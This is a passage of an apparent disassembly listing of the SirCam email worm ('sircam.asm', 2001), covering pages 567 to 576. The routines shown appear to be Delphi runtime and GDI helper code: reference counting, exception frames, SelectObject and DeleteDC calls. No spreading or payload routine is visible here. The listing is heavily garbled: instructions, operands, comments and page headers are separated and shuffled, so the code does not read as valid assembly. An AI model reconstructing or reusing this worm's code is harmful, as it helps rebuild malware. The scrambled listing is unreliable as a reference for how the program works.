; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_41512C
proc near
; DATA XREF: CODE:004134F4\030o
; CODE:00413694\030o
push
mov
cmp
jz
mov
mov
mov
call
ebx
byte ptr [eax+18h], 1
word ptr [eax+0Ah], 0
short loc_415142
ebx, eax
edx, eax
eax, [ebx+0Ch]
dword ptr [ebx+8]
pop
retn
endp
ebx
loc_415142:
sub_41512C
; CODE XREF: sub_41512C+A\030j
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_415144
proc near
arg_0
= dword ptr
push
mov
push
mov
mov
cmp
jz
mov
mov
mov
mov
mov
call
test
jz
mov
mov
mov
mov
mov
call
; CODE XREF: sub_41519C+22\031p
8
ebp
ebp, esp
ebx
eax, [ebp+arg_0]
eax, [eax-4]
dword ptr [eax+20h], 0
short loc_41518B
eax, [ebp+arg_0]
eax, [eax-4]
ebx, [eax+20h]
eax, ebx
edx, ds:off_413498
sub_402C40
al, al
short loc_415186
eax, [ebp+arg_0]
edx, ebx
eax, [ebp+arg_0]
eax, [eax-8]
ecx, [eax]
dword ptr [ecx+18h]
sircam.asm
Fri Aug 10 12:42:44 2001
567
test
al, al
jz
short loc_415186
xor
eax, eax
jmp
short loc_415198
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415186:
; CODE XREF: sub_415144+28\030j
; sub_415144+3C\030j
mov
al, 1
pop
ebx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41518B:
mov
mov
mov
call
xor
; CODE XREF: sub_415144+E\030j
eax, [ebp+arg_0]
eax, [eax-8]
edx, [eax]
dword ptr [edx+1Ch]
al, 1
loc_415198:
sub_415144
; CODE XREF: sub_415144+40\030j
pop
pop
retn
endp
ebx
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_41519C
proc near
; DATA XREF: CODE:004134E8\030o
; CODE:00413688\030o
var_8
var_4
= dword ptr -8
= dword ptr -4
sub_41519C
push
ebp
mov
ebp, esp
add
esp, 0FFFFFFF8h
push
ebx
mov
[ebp+var_4], edx
mov
[ebp+var_8], eax
mov
eax, [ebp+var_8]
push
eax
mov
eax, [eax]
mov
eax, [eax+30h]
push
eax
mov
eax, [ebp+var_8]
push
eax
mov
eax, [eax]
mov
eax, [eax+44h]
push
eax
push
ebp
call
sub_415144
pop
ecx
mov
ecx, eax
mov
edx, offset aData ; "Data"
mov
eax, [ebp+var_4]
mov
ebx, [eax]
call
dword ptr [ebx+8]
pop
ebx
pop
ecx
pop
ecx
pop
ebp
retn
endp ; sp = -10h
sircam.asm
Fri Aug 10 12:42:44 2001
568
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dd 0FFFFFFFFh, 4
aData
db ’Data’,0
; DATA XREF: sub_41519C+2A\030o
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4151E8
proc near
var_C
var_8
var_1
= dword ptr -0Ch
= dword ptr -8
= byte ptr -1
push
mov
add
push
push
push
mov
mov
test
jz
mov
call
mov
mov
call
cmp
jz
; DATA XREF: CODE:004134FC\030o
; CODE:0041369C\030o
ebp
ebp, esp
esp, 0FFFFFFF4h
ebx
esi
edi
esi, edx
ebx, eax
esi, esi
short loc_41520D
eax, ebx
sub_402B58
edi, eax
eax, esi
sub_402B58
edi, eax
short loc_415211
loc_41520D:
; CODE XREF: sub_4151E8+F\030j
xor
eax, eax
jmp
short loc_415213
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415211:
; CODE XREF: sub_4151E8+23\030j
mov
al, 1
mov
mov
mov
call
test
jnz
mov
mov
call
test
jz
; CODE XREF: sub_4151E8+27\030j
[ebp+var_1], al
eax, ebx
edx, [eax]
dword ptr [edx+1Ch]
al, al
short loc_41522C
eax, esi
edx, [eax]
dword ptr [edx+1Ch]
al, al
short loc_415250
mov
mov
call
test
jz
mov
mov
call
test
jnz
; CODE XREF: sub_4151E8+37\030j
eax, ebx
edx, [eax]
dword ptr [edx+1Ch]
al, al
short loc_415242
eax, esi
edx, [eax]
dword ptr [edx+1Ch]
al, al
short loc_415246
xor
eax, eax
loc_415213:
loc_41522C:
loc_415242:
; CODE XREF: sub_4151E8+4D\030j
sircam.asm
Fri Aug 10 12:42:44 2001
569
jmp
short loc_415248
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415246:
; CODE XREF: sub_4151E8+58\030j
mov
al, 1
loc_415248:
; CODE XREF: sub_4151E8+5C\030j
mov
[ebp+var_1], al
jmp
loc_415320
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415250:
cmp
jz
mov
mov
call
mov
xor
push
push
push
mov
mov
mov
mov
call
mov
mov
call
mov
xor
push
push
push
mov
mov
mov
mov
call
mov
call
mov
mov
call
cmp
jnz
mov
call
mov
mov
mov
mov
mov
call
test
jnz
; CODE XREF: sub_4151E8+42\030j
[ebp+var_1], 0
loc_415320
dl, 1
eax, ds:off_40BE14
sub_402BAC
[ebp+var_8], eax
eax, eax
ebp
offset loc_415319
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+var_8]
eax, ebx
ecx, [eax]
dword ptr [ecx+44h]
dl, 1
eax, ds:off_40BE14
sub_402BAC
[ebp+var_C], eax
eax, eax
ebp
offset loc_4152FC
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+var_C]
eax, esi
ecx, [eax]
dword ptr [ecx+44h]
eax, [ebp+var_8]
sub_40D84C
ebx, eax
eax, [ebp+var_C]
sub_40D84C
ebx, eax
short loc_4152DD
eax, [ebp+var_8]
sub_40D84C
ecx, eax
eax, [ebp+var_C]
edx, [eax+4]
eax, [ebp+var_8]
eax, [eax+4]
sub_406DCC
al, al
short loc_4152E1
loc_4152DD:
; CODE XREF: sub_4151E8+D4\030j
xor
eax, eax
jmp
short loc_4152E3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4152E1:
; CODE XREF: sub_4151E8+F3\030j
mov
al, 1
mov
xor
pop
[ebp+var_1], al
eax, eax
edx
loc_4152E3:
; CODE XREF: sub_4151E8+F7\030j
sircam.asm
Fri Aug 10 12:42:44 2001
pop
pop
mov
push
570
ecx
ecx
fs:[eax], edx
offset loc_415303
loc_4152F3:
; CODE XREF: sub_4151E8+119\031j
mov
eax, [ebp+var_C]
call
sub_402BDC
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4152FC:
; DATA XREF: sub_4151E8+AB\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4152F3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415303:
xor
pop
pop
pop
mov
push
; DATA XREF: sub_4151E8+106\030o
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_415320
loc_415310:
; CODE XREF: sub_4151E8+136\031j
mov
eax, [ebp+var_8]
call
sub_402BDC
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415319:
; DATA XREF: sub_4151E8+84\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_415310
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415320:
sub_4151E8
; CODE XREF: sub_4151E8+63\030j
; sub_4151E8+6C\030j
; DATA XREF: ...
mov
pop
pop
pop
mov
pop
retn
endp
al, [ebp+var_1]
edi
esi
ebx
esp, ebp
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_41532C:
; DATA XREF: CODE:00413508\030o
; CODE:004136A8\030o
xor
eax, eax
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_415330:
; DATA XREF: CODE:0041350C\030o
; CODE:004136AC\030o
mov
retn
al, [eax+19h]
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_415334
proc near
; DATA XREF: CODE:0041352C\030o
; CODE:004136CC\030o
sircam.asm
var_4
Fri Aug 10 12:42:44 2001
= dword ptr -4
push
mov
push
push
mov
push
mov
mov
mov
call
mov
xor
push
push
push
mov
mov
mov
mov
call
xor
pop
pop
pop
mov
push
ebp
ebp, esp
ecx
esi
esi, eax
20h
ecx, edx
eax, ds:off_40BD3C
dl, 1
sub_40D940
[ebp+var_4], eax
eax, eax
ebp
offset loc_41537C
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+var_4]
eax, esi
ecx, [eax]
dword ptr [ecx+50h]
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_415383
loc_415373:
sub_415334
571
; CODE XREF: CODE:00415381\031j
mov
eax, [ebp+var_4]
call
sub_402BDC
retn
endp ; sp = -10h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41537C:
; DATA XREF: sub_415334+1D\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_415373
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415383:
; DATA XREF: sub_415334+3A\030o
pop
esi
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_415388
proc near
arg_0
arg_4
arg_8
arg_C
=
=
=
=
; DATA XREF: CODE:00413548\030o
dword ptr 8
dword ptr 0Ch
byte ptr 10h
byte ptr 14h
push
mov
push
cmp
jz
mov
push
ebp
ebp, esp
ebx
word ptr [eax+12h], 0
short loc_4153AB
bl, [ebp+arg_C]
ebx
sircam.asm
Fri Aug 10 12:42:44 2001
mov
push
mov
push
mov
push
mov
mov
call
bl, [ebp+arg_8]
ebx
ebx, [ebp+arg_4]
ebx
ebx, [ebp+arg_0]
ebx
ebx, eax
eax, [ebx+14h]
dword ptr [ebx+10h]
loc_4153AB:
sub_415388
572
; CODE XREF: sub_415388+9\030j
pop
ebx
pop
ebp
retn
10h
endp ; sp = -10h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4153B0:
; DATA XREF: CODE:00413514\030o
; CODE:004136B4\030o
push
mov
mov
mov
call
pop
retn
esi
esi, eax
eax, esi
ecx, [eax]
dword ptr [ecx+50h]
esi
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4153BC
proc near
var_4
= dword ptr -4
push
mov
push
push
mov
push
mov
mov
mov
call
mov
xor
push
push
push
mov
mov
mov
mov
call
xor
pop
pop
pop
mov
push
; DATA XREF: CODE:00413530\030o
; CODE:004136D0\030o
ebp
ebp, esp
ecx
esi
esi, eax
0FFFFh
ecx, edx
eax, ds:off_40BD3C
dl, 1
sub_40D940
[ebp+var_4], eax
eax, eax
ebp
offset loc_415407
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+var_4]
eax, esi
ecx, [eax]
dword ptr [ecx+54h]
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_41540E
loc_4153FE:
sub_4153BC
; CODE XREF: CODE:0041540C\031j
mov
eax, [ebp+var_4]
call
sub_402BDC
retn
endp ; sp = -10h
sircam.asm
Fri Aug 10 12:42:44 2001
573
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415407:
; DATA XREF: sub_4153BC+20\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4153FE
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41540E:
; DATA XREF: sub_4153BC+3D\030o
pop
esi
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS KEYPAD "+" TO EXPAND]
align 4
loc_415418:
cmp
jz
mov
mov
mov
call
; DATA XREF: CODE:00413520\030o
dl, [eax+19h]
short locret_415427
[eax+19h], dl
edx, eax
ecx, [eax]
dword ptr [ecx+10h]
locret_415427:
; CODE XREF: CODE:0041541B\030j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415428:
; DATA XREF: CODE:00413528\030o
; CODE:004136C8\030o
push
mov
mov
mov
call
pop
retn
esi
esi, eax
eax, esi
ecx, [eax]
dword ptr [ecx+54h]
esi
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_415434
proc near
var_C
var_8
var_4
= dword ptr -0Ch
= dword ptr -8
= dword ptr -4
; CODE XREF: sub_415C9C+3B\031p
push
mov
add
mov
call
mov
xor
push
push
push
mov
mov
mov
dec
cmp
jl
mov
ebp
ebp, esp
esp, 0FFFFFFF4h
eax, ds:dword_41DA70
sub_40C4B0
[ebp+var_8], eax
eax, eax
ebp
offset loc_4154D2
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_8]
eax, [eax+8]
eax
eax, 0
short loc_4154BA
[ebp+var_4], eax
mov
edx, [ebp+var_4]
loc_415464:
; CODE XREF: sub_415434+84\031j
sircam.asm
Fri Aug 10 12:42:44 2001
mov
call
mov
mov
call
test
jz
xor
push
push
push
mov
mov
call
xor
pop
pop
pop
mov
push
574
eax, [ebp+var_8]
sub_40C20C
[ebp+var_C], eax
eax, [ebp+var_C]
sub_4140CC
al, al
short loc_4154B1
eax, eax
ebp
offset loc_4154AA
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_C]
sub_4154E0
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4154B1
loc_4154A1:
; CODE XREF: sub_415434+7B\031j
mov
eax, [ebp+var_C]
call
sub_414128
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4154AA:
; DATA XREF: sub_415434+4D\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4154A1
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4154B1:
; CODE XREF: sub_415434+48\030j
; DATA XREF: sub_415434+68\030o
dec
cmp
jnz
[ebp+var_4]
[ebp+var_4], 0FFFFFFFFh
short loc_415464
xor
pop
pop
pop
mov
push
; CODE XREF: sub_415434+2B\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4154D9
loc_4154BA:
loc_4154C7:
sub_415434
; CODE XREF: CODE:004154D7\031j
mov
eax, ds:dword_41DA70
call
sub_40C514
retn
endp ; sp = -14h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4154D2:
; DATA XREF: sub_415434+16\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4154C7
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4154D9:
; DATA XREF: sub_415434+8E\030o
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sircam.asm
Fri Aug 10 12:42:44 2001
575
; Attributes: bp-based frame
sub_4154E0
proc near
var_4
= dword ptr -4
; CODE XREF: sub_415434+5B\030p
push
mov
push
push
mov
mov
cmp
jz
mov
call
xor
push
push
push
mov
mov
mov
test
jz
push
mov
mov
push
call
ebp
ebp, esp
ecx
ebx
[ebp+var_4], eax
eax, [ebp+var_4]
dword ptr [eax+4], 0
loc_41557B
eax, [ebp+var_4]
sub_414078
edx, edx
ebp
offset loc_415574
dword ptr fs:[edx]
fs:[edx], esp
eax, [ebp+var_4]
eax, [eax+5Ch]
eax, eax
short loc_415522
eax
eax, [ebp+var_4]
eax, [eax+4]
eax
j_SelectObject
mov
mov
test
jz
push
push
mov
mov
push
call
eax, [ebp+var_4]
eax, [eax+60h]
eax, eax
short loc_41553B
0FFFFFFFFh
eax
eax, [ebp+var_4]
eax, [eax+4]
eax
j_SelectPalette
mov
mov
xor
mov
call
push
call
mov
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_4154E0+4A\030j
eax, [ebp+var_4]
ebx, [eax+4]
edx, edx
eax, [ebp+var_4]
sub_4141F0
ebx
j_DeleteDC
edx, [ebp+var_4]
eax, ds:dword_41DA70
sub_40C4C4
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_41557B
loc_415522:
; CODE XREF: sub_4154E0+33\030j
loc_41553B:
loc_41556B:
; CODE XREF: sub_4154E0+99\031j
mov
eax, [ebp+var_4]
call
sub_414128
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415574:
; DATA XREF: sub_4154E0+20\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
576
jmp
short loc_41556B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41557B:
sub_4154E0
; CODE XREF: sub_4154E0+F\030j
; DATA XREF: sub_4154E0+86\030o
pop
pop
pop
retn
endp
ebx
ecx
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_415580
proc near
; CODE XREF: sub_4155EC+33\031p
; sub_415670+25\031p ...
dword ptr [eax+4]
sub_415580
inc
retn
endp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_415584
proc near
push
mov
test
jz
dec
cmp
jnz
mov
mov
call
mov
call
ebx
ebx, eax
ebx, ebx
short loc_4155A1
dword ptr [ebx+4]
dword ptr [ebx+4], 0
short loc_4155A1
eax, ebx
edx, [eax]
dword ptr [edx]
eax, ebx
sub_402BDC
loc_4155A1:
sub_415584
; CODE XREF: sub_415640+E\031p
; sub_415670+2D\031p ...
; CODE XREF: sub_415584+5\030j
; sub_415584+E\030j
pop
retn
endp
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4155A4
proc near
; DATA XREF: CODE:00413624\030o
push
ebx
push
esi
call
sub_402D3C
mov
ebx, edx
mov
esi, eax
mov
eax, [esi+0Ch]
call
sub_402BDC
mov
edx, ebx
and
dl, 0FCh
mov
eax, esi
call
sub_402BCC
test
